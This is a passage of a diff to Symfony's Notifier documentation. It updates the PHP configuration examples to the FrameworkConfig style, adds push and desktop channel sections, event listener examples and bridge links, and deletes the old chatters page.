SLACK_DSN=slack://TOKEN@default?channel=CHANNEL .. configuration-block:: @@ -199,14 +479,48 @@ Chatters are configured using the ``chatter_transports`` setting: .. code-block:: php - # config/packages/notifier.php - $container->loadFromExtension('framework', [ - 'notifier' => [ - 'chatter_transports' => [ - 'slack' => '%env(SLACK_DSN)%', - ], - ], - ]); + // config/packages/notifier.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->notifier() + ->chatterTransport('slack', env('SLACK_DSN')) + ; + }; + +.. _sending-chat-messages: + +The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows +you to send messages to chat services:: + + // src/Controller/CheckoutController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Notifier\ChatterInterface; + use Symfony\Component\Notifier\Message\ChatMessage; + use Symfony\Component\Routing\Attribute\Route; + + class CheckoutController extends AbstractController + { + #[Route('/checkout/thankyou')] + public function thankyou(ChatterInterface $chatter): Response + { + $message = (new ChatMessage('You got a new invoice for 15 EUR.')) + // if not set explicitly, the message is sent to the + // default transport (the first one configured) + ->transport('slack'); + + $sentMessage = $chatter->send($message); + + // ... + } + } + +The ``send()`` method returns a variable of type +:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides +information such as the message ID and the original message contents. .. _notifier-email-channel: @@ -263,15 +577,225 @@ notification emails: .. code-block:: php - # config/packages/mailer.php - $container->loadFromExtension('framework', [ - 'mailer' => [ - 'dsn' => '%env(MAILER_DSN)%', - 'envelope' => [ - 'sender' => 'notifications@example.com', - ], - ], - ]); + // config/packages/mailer.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->mailer() + ->dsn(env('MAILER_DSN')) + ->envelope() + ->sender('notifications@example.com') + ; + }; + +.. _notifier-push-channel: + +Push Channel +~~~~~~~~~~~~ + +.. warning:: + + If any of the DSN values contains any character considered special in a + URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must + encode them. See `RFC 3986`_ for the full list of reserved characters or use the + :phpfunction:`urlencode` function to encode them. + +The push channel is used to send notifications to users by using +:class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides +integration with these push services: + +=============== ======================================================================================= +Service +=============== ======================================================================================= +`Engagespot`_ **Install**: ``composer require symfony/engagespot-notifier`` \ + **DSN**: ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME`` +`Expo`_ **Install**: ``composer require symfony/expo-notifier`` \ + **DSN**: ``expo://TOKEN@default`` +`Novu`_ **Install**: ``composer require symfony/novu-notifier`` \ + **DSN**: ``novu://API_KEY@default`` +`Ntfy`_ **Install**: ``composer require symfony/ntfy-notifier`` \ + **DSN**: ``ntfy://default/TOPIC`` +`OneSignal`_ **Install**: ``composer require symfony/one-signal-notifier`` \ + **DSN**: ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID`` +`PagerDuty`_ **Install**: ``composer require symfony/pager-duty-notifier`` \ + **DSN**: ``pagerduty://TOKEN@SUBDOMAIN`` +`Pushover`_ **Install**: ``composer require symfony/pushover-notifier`` \ + **DSN**: ``pushover://USER_KEY:APP_TOKEN@default`` +`Pushy`_ **Install**: ``composer require symfony/pushy-notifier`` \ + **DSN**: ``pushy://API_KEY@default`` +=============== ======================================================================================= + +To enable a texter, add the correct DSN in your ``.env`` file and +configure the ``texter_transports``: + +.. versionadded:: 7.1 + + The `Pushy`_ integration was introduced in Symfony 7.1. + +.. code-block:: bash + + # .env + EXPO_DSN=expo://TOKEN@default + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/notifier.yaml + framework: + notifier: + texter_transports: + expo: '%env(EXPO_DSN)%' + + .. code-block:: xml + + <!-- config/packages/notifier.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:notifier> + <framework:texter-transport name="expo"> + %env(EXPO_DSN)% + </framework:texter-transport> + </framework:notifier> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/notifier.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->notifier() + ->texterTransport('expo', env('EXPO_DSN')) + ; + }; + +.. _notifier-desktop-channel: + +Desktop Channel +~~~~~~~~~~~~~~~ + +The desktop channel is used to display local desktop notifications on the same +host machine using :class:`Symfony\\Component\\Notifier\\Texter` classes. Currently, +Symfony is integrated with the following providers: + +=============== ================================================ ============================================================================== +Provider Install DSN +=============== ================================================ ============================================================================== +`JoliNotif`_ ``composer require symfony/joli-notif-notifier`` ``jolinotif://default`` +=============== ================================================ ============================================================================== + +.. versionadded:: 7.2 + + The JoliNotif bridge was introduced in Symfony 7.2. + +If you are using :ref:`Symfony Flex <symfony-flex>`, installing that package will +also create the necessary environment variable and configuration. Otherwise, you'll +need to add the following manually: + +1) Add the correct DSN in your ``.env`` file: + +.. code-block:: bash + + # .env + JOLINOTIF=jolinotif://default + +2) Update the Notifier configuration to add a new texter transport: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/notifier.yaml + framework: + notifier: + texter_transports: + jolinotif: '%env(JOLINOTIF)%' + + .. code-block:: xml + + <!-- config/packages/notifier.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:notifier> + <framework:texter-transport name="jolinotif"> + %env(JOLINOTIF)% + </framework:texter-transport> + </framework:notifier> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/notifier.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->notifier() + ->texterTransport('jolinotif', env('JOLINOTIF')) + ; + }; + +Now you can send notifications to your desktop as follows:: + + // src/Notifier/SomeService.php + use Symfony\Component\Notifier\Message\DesktopMessage; + use Symfony\Component\Notifier\TexterInterface; + // ... + + class SomeService + { + public function __construct( + private TexterInterface $texter, + ) { + } + + public function notifyNewSubscriber(User $user): void + { + $message = new DesktopMessage( + 'New subscription! 🎉', + sprintf('%s is a new subscriber', $user->getFullName()) + ); + + $this->texter->send($message); + } + } + +These notifications can be customized further, and depending on your operating system, +they may support features like custom sounds, icons, and more:: + + use Symfony\Component\Notifier\Bridge\JoliNotif\JoliNotifOptions; + // ... + + $options = (new JoliNotifOptions()) + ->setIconPath('/path/to/icons/error.png') + ->setExtraOption('sound', 'sosumi') + ->setExtraOption('url', 'https://example.com'); + + $message = new DesktopMessage('Production is down', <<<CONTENT + ❌ Server prod-1 down + ❌ Server prod-2 down + ✅ Network is up + CONTENT, $options); + + $texter->send($message); Configure to use Failover or Round-Robin Transports ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -326,19 +850,19 @@ transport: .. code-block:: php - # config/packages/notifier.php - $container->loadFromExtension('framework', [ - 'notifier' => [ - 'chatter_transports' => [ - // Send notifications to Slack and use Telegram if - // Slack errored - 'main' => '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%', + // config/packages/notifier.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->notifier() + // Send notifications to Slack and use Telegram if + // Slack errored + ->chatterTransport('main', env('SLACK_DSN').' || '.env('TELEGRAM_DSN')) - // Send notifications to the next scheduled transport calculated by round robin - 'roundrobin' => '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%', - ], - ], - ]); + // Send notifications to the next scheduled transport calculated by round robin + ->chatterTransport('roundrobin', env('SLACK_DSN').' && '.env('TELEGRAM_DSN')) + ; + }; Creating & Sending Notifications -------------------------------- @@ -352,16 +876,15 @@ To send a notification, autowire the // src/Controller/InvoiceController.php namespace App\Controller; + use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Notifier\Notification\Notification; use Symfony\Component\Notifier\NotifierInterface; use Symfony\Component\Notifier\Recipient\Recipient; class InvoiceController extends AbstractController { - /** - * @Route("/invoice/create") - */ - public function create(NotifierInterface $notifier) + #[Route('/invoice/create')] + public function create(NotifierInterface $notifier): Response { // ... @@ -377,7 +900,7 @@ To send a notification, autowire the ); // Send the notification to the recipient - $sentMessage = $notifier->send($notification, $recipient); + $notifier->send($notification, $recipient); // ... } @@ -388,14 +911,6 @@ channels. The channels specify which channel (or transport) should be used to send the notification. For instance, ``['email', 'sms']`` will send both an email and sms notification to the user. -The ``send()`` method used to send the notification returns a variable of type -:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides -information such as the message ID and the original message contents. - -.. versionadded:: 5.2 - - The ``SentMessage`` class was introduced in Symfony 5.2. - The default notification also has a ``content()`` and ``emoji()`` method to set the notification content and icon. @@ -404,18 +919,13 @@ Symfony provides the following recipients: :class:`Symfony\\Component\\Notifier\\Recipient\\NoRecipient` This is the default and is useful when there is no need to have information about the receiver. For example, the browser channel uses - the current requests's :ref:`session flashbag <flash-messages>`; + the current requests' :ref:`session flashbag <flash-messages>`; :class:`Symfony\\Component\\Notifier\\Recipient\\Recipient` - This can contain both email address and phonenumber of the user. This + This can contain both the email address and the phone number of the user. This recipient can be used for all channels (depending on whether they are actually set). -.. versionadded:: 5.2 - - The ``AdminRecipient`` class was removed in Symfony 5.2, you should use - ``Recipient`` instead. - Configuring Channel Policies ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -478,23 +988,21 @@ specify what channels should be used for specific levels (using .. code-block:: php - # config/packages/notifier.php - $container->loadFromExtension('framework', [ - 'notifier' => [ - // ... - 'channel_policy' => [ - // Use SMS, Slack and email for urgent notifications - 'urgent' => ['sms', 'chat/slack', 'email'], + // config/packages/notifier.php + use Symfony\Config\FrameworkConfig; - // Use Slack for highly important notifications - 'high' => ['chat/slack'], - - // Use browser for medium and low notifications - 'medium' => ['browser'], - 'low' => ['browser'], - ], - ], - ]); + return static function (FrameworkConfig $framework): void { + // ... + $framework->notifier() + // Use SMS, Slack and email for urgent notifications + ->channelPolicy('urgent', ['sms', 'chat/slack', 'email']) + // Use Slack for highly important notifications + ->channelPolicy('high', ['chat/slack']) + // Use browser for medium and low notifications + ->channelPolicy('medium', ['browser']) + ->channelPolicy('low', ['browser']) + ; + }; Now, whenever the notification's importance is set to "high", it will be sent using the Slack transport:: @@ -502,10 +1010,8 @@ sent using the Slack transport:: // ... class InvoiceController extends AbstractController { - /** - * @Route("/invoice/create") - */ - public function invoice(NotifierInterface $notifier) + #[Route('/invoice/create')] + public function invoice(NotifierInterface $notifier): Response { // ... @@ -513,7 +1019,7 @@ sent using the Slack transport:: ->content('You got a new invoice for 15 EUR.') ->importance(Notification::IMPORTANCE_HIGH); - $notifier->send($notification, new Recipient('wouter@wouterj.nl')); + $notifier->send($notification, new Recipient('wouter@example.com')); // ... } @@ -535,14 +1041,12 @@ very high and the recipient has a phone number:: class InvoiceNotification extends Notification { - private $price; - - public function __construct(int $price) - { - $this->price = $price; + public function __construct( + private int $price, + ) { } - public function getChannels(RecipientInterface $recipient) + public function getChannels(RecipientInterface $recipient): array { if ( $this->price > 10000 @@ -570,23 +1074,22 @@ and its ``asChatMessage()`` method:: use Symfony\Component\Notifier\Message\ChatMessage; use Symfony\Component\Notifier\Notification\ChatNotificationInterface; use Symfony\Component\Notifier\Notification\Notification; - use Symfony\Component\Notifier\Recipient\SmsRecipientInterface; + use Symfony\Component\Notifier\Recipient\RecipientInterface; class InvoiceNotification extends Notification implements ChatNotificationInterface { - private $price; - - public function __construct(int $price) - { - $this->price = $price; + public function __construct( + private int $price, + ) { } - public function asChatMessage(RecipientInterface $recipient, string $transport = null): ?ChatMessage + public function asChatMessage(RecipientInterface $recipient, ?string $transport = null): ?ChatMessage { - // Add a custom emoji if the message is sent to Slack + // Add a custom subject and emoji if the message is sent to Slack if ('slack' === $transport) { - return (new ChatMessage('You\'re invoiced '.$this->price.' EUR.')) - ->emoji('money'); + $this->subject('You\'re invoiced '.strval($this->price).' EUR.'); + $this->emoji("money"); + return ChatMessage::fromNotification($this); } // If you return null, the Notifier will create the ChatMessage @@ -596,10 +1099,74 @@ and its ``asChatMessage()`` method:: } The -:class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface` +:class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`, +:class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`, +:class:`Symfony\\Component\\Notifier\\Notification\\PushNotificationInterface` and -:class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface` -also exists to modify messages send to those channels. +:class:`Symfony\\Component\\Notifier\\Notification\\DesktopNotificationInterface` +also exists to modify messages sent to those channels. + +Customize Browser Notifications (Flash Messages) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The default behavior for browser channel notifications is to add a +:ref:`flash message <flash-messages>` with ``notification`` as its key. + +However, you might prefer to map the importance level of the notification to the +type of flash message, so you can tweak their style. + +You can do that by overriding the default ``notifier.flash_message_importance_mapper`` +service with your own implementation of +:class:`Symfony\\Component\\Notifier\\FlashMessage\\FlashMessageImportanceMapperInterface` +where you can provide your own "importance" to "alert level" mapping. + +Symfony currently provides an implementation for the Bootstrap CSS framework's +typical alert levels, which you can implement immediately using: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + notifier.flash_message_importance_mapper: + class: Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper + + .. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="notifier.flash_message_importance_mapper" class="Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper"/> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper; + + return function(ContainerConfigurator $containerConfigurator) { + $containerConfigurator->services() + ->set('notifier.flash_message_importance_mapper', BootstrapFlashMessageImportanceMapper::class) + ; + }; + +Testing Notifier +---------------- + +Symfony provides a :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait` +which provide useful methods for testing your Notifier implementation. +You can benefit from this class by using it directly or extending the +:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`. + +See :ref:`testing documentation <notifier-assertions>` for the list of available assertions. Disabling Delivery ------------------ @@ -619,16 +1186,165 @@ all configured texter and chatter transports only in the ``dev`` (and/or chatter_transports: slack: 'null://null' -.. TODO - - Using the message bus for asynchronous notification - - Describe notifier monolog handler - - Describe notification_on_failed_messages integration +.. _notifier-events: + +Using Events +------------ + +The :class:`Symfony\\Component\\Notifier\\Transport` class of the Notifier component +allows you to optionally hook into the lifecycle via events. + +The ``MessageEvent`` Event +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +**Typical Purposes**: Doing something before the message is sent (like logging +which message is going to be sent, or displaying something about the event +to be executed. + +Just before sending the message, the event class ``MessageEvent`` is +dispatched. Listeners receive a +:class:`Symfony\\Component\\Notifier\\Event\\MessageEvent` event:: + + use Symfony\Component\Notifier\Event\MessageEvent; + + $dispatcher->addListener(MessageEvent::class, function (MessageEvent $event): void { + // gets the message instance + $message = $event->getMessage(); -Learn more ----------- + // log something + $this->logger(sprintf('Message with subject: %s will be send to %s', $message->getSubject(), $message->getRecipientId())); + }); -.. toctree:: - :maxdepth: 1 - :glob: +The ``FailedMessageEvent`` Event +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - notifier/* +**Typical Purposes**: Doing something before the exception is thrown +(Retry to send the message or log additional information). + +Whenever an exception is thrown while sending the message, the event class +``FailedMessageEvent`` is dispatched. A listener can do anything useful before +the exception is thrown. + +Listeners receive a +:class:`Symfony\\Component\\Notifier\\Event\\FailedMessageEvent` event:: + + use Symfony\Component\Notifier\Event\FailedMessageEvent; + + $dispatcher->addListener(FailedMessageEvent::class, function (FailedMessageEvent $event): void { + // gets the message instance + $message = $event->getMessage(); + + // gets the error instance + $error = $event->getError(); + + // log something + $this->logger(sprintf('The message with subject: %s has not been sent successfully. The error is: %s', $message->getSubject(), $error->getMessage())); + }); + +The ``SentMessageEvent`` Event +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +**Typical Purposes**: To perform some action when the message is successfully +sent (like retrieve the id returned when the message is sent). + +After the message has been successfully sent, the event class ``SentMessageEvent`` +is dispatched. Listeners receive a +:class:`Symfony\\Component\\Notifier\\Event\\SentMessageEvent` event:: + + use Symfony\Component\Notifier\Event\SentMessageEvent; + + $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event): void { + // gets the message instance + $message = $event->getMessage(); + + // log something + $this->logger(sprintf('The message has been successfully sent and has id: %s', $message->getMessageId())); + }); + +.. TODO +.. - Using the message bus for asynchronous notification +.. - Describe notifier monolog handler +.. - Describe notification_on_failed_messages integration + +.. _`46elks`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FortySixElks/README.md +.. _`AllMySms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AllMySms/README.md +.. _`AmazonSns`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AmazonSns/README.md +.. _`Bandwidth`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Bandwidth/README.md +.. _`Bluesky`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Bluesky/README.md +.. _`Brevo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Brevo/README.md +.. _`Chatwork`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Chatwork/README.md +.. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md +.. _`ContactEveryone`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/ContactEveryone/README.md +.. _`Discord`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Discord/README.md +.. _`Engagespot`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Engagespot/README.md +.. _`Esendex`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Esendex/README.md +.. _`Expo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Expo/README.md +.. _`FakeChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeChat/README.md +.. _`FakeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeSms/README.md +.. _`Firebase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Firebase/README.md +.. _`FreeMobile`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FreeMobile/README.md +.. _`GatewayApi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GatewayApi/README.md +.. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIP/README.md +.. _`GoogleChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoogleChat/README.md +.. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md +.. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md +.. _`iSendPro`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Isendpro/README.md +.. _`JoliNotif`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/JoliNotif/README.md +.. _`KazInfoTeh`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/KazInfoTeh/README.md +.. _`LINE Bot`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineBot/README.md +.. _`LINE Notify`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineNotify/README.md +.. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md +.. _`LinkedIn`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LinkedIn/README.md +.. _`LOX24`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Lox24/README.md +.. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mailjet/README.md +.. _`Mastodon`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mastodon/README.md +.. _`Matrix`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Matrix/README.md +.. _`Mattermost`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mattermost/README.md +.. _`Mercure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mercure/README.md +.. _`MessageBird`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageBird/README.md +.. _`MessageMedia`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageMedia/README.md +.. _`MicrosoftTeams`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MicrosoftTeams/README.md +.. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md +.. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md +.. _`Novu`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Novu/README.md +.. _`Ntfy`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Ntfy/README.md +.. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md +.. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md +.. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md +.. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md +.. _`PagerDuty`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/PagerDuty/README.md +.. _`Plivo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Plivo/README.md +.. _`Primotexto`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Primotexto/README.md +.. _`Pushover`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushover/README.md +.. _`Pushy`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushy/README.md +.. _`Redlink`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Redlink/README.md +.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt +.. _`RingCentral`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RingCentral/README.md +.. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md +.. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md +.. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md +.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md +.. _`Seven.io`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sevenio/README.md +.. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md +.. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md +.. _`Sipgate`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sipgate/README.md +.. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md +.. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md +.. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md +.. _`Smsbox`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsbox/README.md +.. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md +.. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md +.. _`SMSense`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SMSense/README.md +.. _`SmsSluzba`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsSluzba/README.md +.. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md +.. _`Sweego`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sweego/README.md +.. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md +.. _`Telnyx`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telnyx/README.md +.. _`TurboSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/TurboSms/README.md +.. _`Twilio`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Twilio/README.md +.. _`Twitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Twitter/README.md +.. _`Unifonic`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Unifonic/README.md +.. _`Vonage`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Vonage/README.md +.. _`Yunpian`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Yunpian/README.md +.. _`Zendesk`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Zendesk/README.md +.. _`Zulip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Zulip/README.md diff --git a/notifier/chatters.rst b/notifier/chatters.rst deleted file mode 100644 index efbd040593e..00000000000 --- a/notifier/chatters.rst +++ /dev/null @@ -1,101 +0,0 @@ -.. index:: - single: Notifier; Chatters - -How to send Chat Messages -========================= - -.. versionadded:: 5.0 - - The Notifier component was introduced in Symfony 5.0 as an - :doc:`experimental feature </contributing/code/experimental>`. - -The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows -you to send messages to chat services like Slack or Telegram:: - - // src/Controller/CheckoutController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Notifier\ChatterInterface; - use Symfony\Component\Notifier\Message\ChatMessage; - use Symfony\Component\Routing\Annotation\Route; - - class CheckoutController extends AbstractController - { - /** - * @Route("/checkout/thankyou") - */ - public function thankyou(ChatterInterface $chatter) - { - $message = (new ChatMessage('You got a new invoice for 15 EUR.')) - // if not set explicitly, the message is send to the - // default transport (the first one configured) - ->transport('slack'); - - $sentMessage = $chatter->send($message); - - // ... - } - } - -The ``send()`` method returns a variable of type -:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides -information such as the message ID and the original message contents. - -.. versionadded:: 5.2 - - The ``SentMessage`` class was introduced in Symfony 5.2. - -.. seealso:: - - Read :ref:`the main Notifier guide <notifier-chatter-dsn>` to see how - to configure the different transports. - -Adding Interactions to a Slack Message --------------------------------------- - -With a Slack message, you can use the -:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` to add -some interactive options called `Block elements`_:: - - use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock; - use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock; - use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlock; - use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock; - use Symfony\Component\Notifier\Bridge\Slack\SlackOptions; - use Symfony\Component\Notifier\Message\ChatMessage; - - $chatMessage = new ChatMessage('Contribute To 